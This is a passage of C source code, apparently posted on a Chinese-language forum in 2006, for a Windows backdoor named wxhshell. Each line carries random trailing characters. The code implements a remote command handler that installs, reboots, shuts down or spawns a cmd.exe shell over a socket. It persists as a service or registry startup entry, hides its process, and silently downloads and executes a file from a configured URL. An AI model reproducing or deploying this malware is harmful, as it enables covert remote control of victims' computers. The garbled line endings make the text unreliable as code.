  } Y8'_5?+ 0  
  else { 3v+}YT{>b  
G6mM6(Sr  
    switch(cmd[0]) { 2MzFSmhc"  
  PH!B /D5G  
  // 帮助 G/44gKl  
  case '?': { * t9qH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vm}.gQ  
    break; E?D{/ k,zZ  
  } FGhrf  
  // 安装 0M2+?aKif  
  case 'i': { ]!o,S{a&  
    if(Install()) 'z!#E!i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f|1FqL+T]  
    else <f{`}drp/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cy'W!qH  
    break; i j;'4GzQL  
    } rWKLxK4oU  
  // 卸载 \1 D,Kx;Cb  
  case 'r': { S%#Mu|  
    if(Uninstall()) h,?Yw+#o"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;QD;5 <1  
    else sn`?Foh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1+c(G?Ava  
    break; 48rYs}  
    } }mZ*f y0t  
  // 显示 wxhshell 所在路径 >(KUYX?p  
  case 'p': { 1RHH<c%2n  
    char svExeFile[MAX_PATH]; t1g%o5?;  
    strcpy(svExeFile,"\n\r"); @|A&\a-"J  
      strcat(svExeFile,ExeFile); GhA~PjZS  
        send(wsh,svExeFile,strlen(svExeFile),0); O'U,|A  
    break; o;I86dI6C  
    } iGNKf|8{  
  // 重启 xmd$Jol^  
  case 'b': { {\Y,UANZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?|yJ #j1=  
    if(Boot(REBOOT)) I3b-uEHev  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }kefrT  
    else { ~2ei+#d!^  
    closesocket(wsh); dh`A(B{hfc  
    ExitThread(0); aJ;R8(*;\  
    } Nx z ,/d  
    break; O4mWsr  
    } S^=/}PT'  
  // 关机 30`H Xv@  
  case 'd': { n:kxG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~36XJ  
    if(Boot(SHUTDOWN)) uoc-qmm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); e}w!]  
    else { Kx!|4ya,  
    closesocket(wsh); scwlW b<N  
    ExitThread(0); s_kd@?=`x  
    } !gQ(1u|r  
    break; 5X|aa>/  
    } |<icx8hbr  
  // 获取shell vtjG&0GSK  
  case 's': { ,kuOaaV7K  
    CmdShell(wsh); (XWs4R.mkb  
    closesocket(wsh); (I g *iJ%2  
    ExitThread(0); 1&nrZG9  
    break; * OFT)S  
  } o62gLO]z@  
  // 退出 wj~8KHan  
  case 'x': { f 2f $aZ  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); jZ yh   
    CloseIt(wsh); Z6pDQ^Ii  
    break;  /t P  
    } 1h{_v!X  
  // 离开 X)5O@"4 ?  
  case 'q': { ^>uGbhBp  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^T>.04";x  
    closesocket(wsh); ?id^v 7d  
    WSACleanup(); ]TN}` ]  
    exit(1); Q&{5.}L  
    break; {'C74s  
        } cn{l %6K  
  } Gl9a5b  
  } "$9ZkADO  
.<hv &t  
  // 提示信息 l>q.BG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :g_ +{4  
} d^>se'ya  
  } roQIP%h!  
a)b@en;v  
  return; <{j9|mt  
} L1K_|X  
> xw+2<  
// shell模块句柄 "5bk82."  
int CmdShell(SOCKET sock) 9a unv   
{ _95tgJy  
STARTUPINFO si; $ E6uA}s  
ZeroMemory(&si,sizeof(si)); VtFh1FDI\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; euK!JZ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Sj+#yct-  
PROCESS_INFORMATION ProcessInfo; -`o:W?V$u  
char cmdline[]="cmd"; beoMLHp  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ho|n\7$  
  return 0; c:5BQr '  
} o,I642R~  
g?wogCs5  
// 自身启动模式 rKxk?}  
int StartFromService(void) X)S4rW%  
{ 1??RX}8[L+  
typedef struct hBw~l?G  
{ iV=#'yY  
  DWORD ExitStatus; hJ :+*46  
  DWORD PebBaseAddress; f5v|}gMAX  
  DWORD AffinityMask; 5`Z#m:+u  
  DWORD BasePriority; 0fNBy^(K  
  ULONG UniqueProcessId; IA'AA|v  
  ULONG InheritedFromUniqueProcessId; up?8Pq*  
}   PROCESS_BASIC_INFORMATION; *V}}3Degh  
8wd2\J,]  
PROCNTQSIP NtQueryInformationProcess; gS ]'^Sr  
),eiJblH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  $?YkgK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;.Y`T/eWS  
Qn7e6u@V  
  HANDLE             hProcess; h2]Od(^[  
  PROCESS_BASIC_INFORMATION pbi; ub%q<sE*  
&r_B\j3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K||85l?<  
  if(NULL == hInst ) return 0; _ev^5`>p/  
I/l]Yv!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z8W<RiR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )_ uK(UNZ5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~jaGf  
y;H 3g#  
  if (!NtQueryInformationProcess) return 0; d8>D=Ve  
rv%Xvs B  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QX4I+x~oo\  
  if(!hProcess) return 0; f$L5=V  
sAxn ; `  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LO229`ARr|  
FoLw S%+yO  
  CloseHandle(hProcess); JkmL'Zk>:  
6Jm4?ex  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); :?TV6M  
if(hProcess==NULL) return 0; h) rHf3:  
/T@lHxX  
HMODULE hMod; d=pq+  
char procName[255]; sC j3h  
unsigned long cbNeeded; -?[:Zn~$a  
(\T?p9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;Ba f&xK  
Tm `CA0@  
  CloseHandle(hProcess); 0=04:.%D  
= ~yh[@R)  
if(strstr(procName,"services")) return 1; // 以服务启动 ~kL":C>2  
n| %{R|s  
  return 0; // 注册表启动 = FQH  
} k"6^gup(U  
R[z6 c )  
// 主模块 l"Css~^  
int StartWxhshell(LPSTR lpCmdLine) Vy biuP  
{ @ 9uwcM1F  
  SOCKET wsl; 8PQ& 7o  
BOOL val=TRUE; ``={FaV~m  
  int port=0; laAG%lq/'  
  struct sockaddr_in door; )}R0'QGd  
2Y,s58F  
  if(wscfg.ws_autoins) Install(); @`3)?J[w  
'=r.rW5  
port=atoi(lpCmdLine); k$zDofdfp  
C$_H)I  
if(port<=0) port=wscfg.ws_port; h1"#DnK7  
' ySWf,Q^  
  WSADATA data; ,J[sg7v cv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QeK~A@|F&  
jooh`| `P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X,p&S^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w/R^Vwq  
  door.sin_family = AF_INET; 2c}kiqi{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _K8-O>I "  
  door.sin_port = htons(port); 3 . @W.GG8  
A;kB"Tx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { I|:*Dy,~  
closesocket(wsl); <J- aq;p  
return 1; 9QpKB c  
} N%0Z> G  
9 i"3R0HN  
  if(listen(wsl,2) == INVALID_SOCKET) { ?p5Eo{B  
closesocket(wsl); 2oN lQiE_  
return 1; Yd@9P 2C  
} nX   
  Wxhshell(wsl); h"[ ][  
  WSACleanup(); >IRo]-,  
YpiSH(70`  
return 0; pDu~84!])  
/HLQ  
} 7|2:;5:U  
re<"%D  
// 以NT服务方式启动 9Y7 tI3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -V9Cx_]y  
{ v^e[`]u(  
DWORD   status = 0; I%%$O' S  
  DWORD   specificError = 0xfffffff; RvVnVcn^#  
@wpm;]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cewQQ&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3T_-_5[c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <-$4?}  
  serviceStatus.dwWin32ExitCode     = 0; > vgqf>)kk  
  serviceStatus.dwServiceSpecificExitCode = 0; /OViqZ;9  
  serviceStatus.dwCheckPoint       = 0; "zr%Q'Ky  
  serviceStatus.dwWaitHint       = 0; R (6Jvub"I  
/GEqU^ B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :r|dXW  
  if (hServiceStatusHandle==0) return; bO-8<IjC_3  
h.DQ6!?;s  
status = GetLastError(); %bddR;c  
  if (status!=NO_ERROR) &vLZj  
{ Jg7IGU(dct  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,Qp58u2V  
    serviceStatus.dwCheckPoint       = 0; nwz}&nR  
    serviceStatus.dwWaitHint       = 0; ;R/=9l  
    serviceStatus.dwWin32ExitCode     = status; nuvz!<5\{  
    serviceStatus.dwServiceSpecificExitCode = specificError; E;%{hAD{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0O[q6!&]  
    return; #u#s'W  
  } ,"DkMK4%  
ZV&=B%J bs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %!WQ;(  
  serviceStatus.dwCheckPoint       = 0; wLW!_D,/R  
  serviceStatus.dwWaitHint       = 0; J9{B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p_[k^@ $  
} a-hF/~84S:  
ym-212wl  
// 处理NT服务事件,比如:启动、停止 Hd4&"oeY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 55hJRm3  
{ [j&>dE  
switch(fdwControl) %uQ^mK  
{ #B54p@.}  
case SERVICE_CONTROL_STOP: F> ..eK  
  serviceStatus.dwWin32ExitCode = 0; WWD\EDnS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yfYAA*S!z  
  serviceStatus.dwCheckPoint   = 0; BHa!jw_~o  
  serviceStatus.dwWaitHint     = 0; #U'n=@U@(  
  { lQoa[#q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); No j6Ina  
  } bw+~5pqM  
  return; GX(p7ZgB2  
case SERVICE_CONTROL_PAUSE: F+9|D  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &7}-Xvc  
  break; HAP9XC(F]  
case SERVICE_CONTROL_CONTINUE: O75ioO0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; D*heYh  
  break; BoFJ8Ukq|  
case SERVICE_CONTROL_INTERROGATE: 7HFw*;  
  break; oU67<jq  
}; AM\`v'I*6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1Hzj-u&N/  
} <` HLG2  
'j>Q7M7q{  
// 标准应用程序主函数 )0!hw|0|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _bFX(~37z?  
{ S__+S7]Nr  
z;1yZ4[G  
// 获取操作系统版本 p-M QI }  
OsIsNt=GetOsVer(); <^OGJ}G  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n&k1'KL&  
|7%M:7 Q  
  // 从命令行安装 jR*1%.Ng  
  if(strpbrk(lpCmdLine,"iI")) Install(); v;irk<5  
P 3);R>j  
  // 下载执行文件 km.xy_v  
if(wscfg.ws_downexe) { v"\Q/5p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o)srE5  
  WinExec(wscfg.ws_filenam,SW_HIDE); D L<r2h  
} yG{'hx6H  
>|mmJ4T  
if(!OsIsNt) { WY  #pzBA  
// 如果时win9x,隐藏进程并且设置为注册表启动 iwrS>Sm  
HideProc(); L/#^&*'B  
StartWxhshell(lpCmdLine); A03,X;S+  
} n`;=^^B  
else HSq&'V  
  if(StartFromService()) #*XuU8q?  
  // 以服务方式启动 8+Oyhd*|  
  StartServiceCtrlDispatcher(DispatchTable); r>A, 7{  
else  KGFmC[  
  // 普通方式启动 >4b-NS/}0  
  StartWxhshell(lpCmdLine); V(w2k^7) F  
xLX:>64'o>  
return 0; 6E85mfFS  
}
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只看该作者 1 发表于: 2006-10-10
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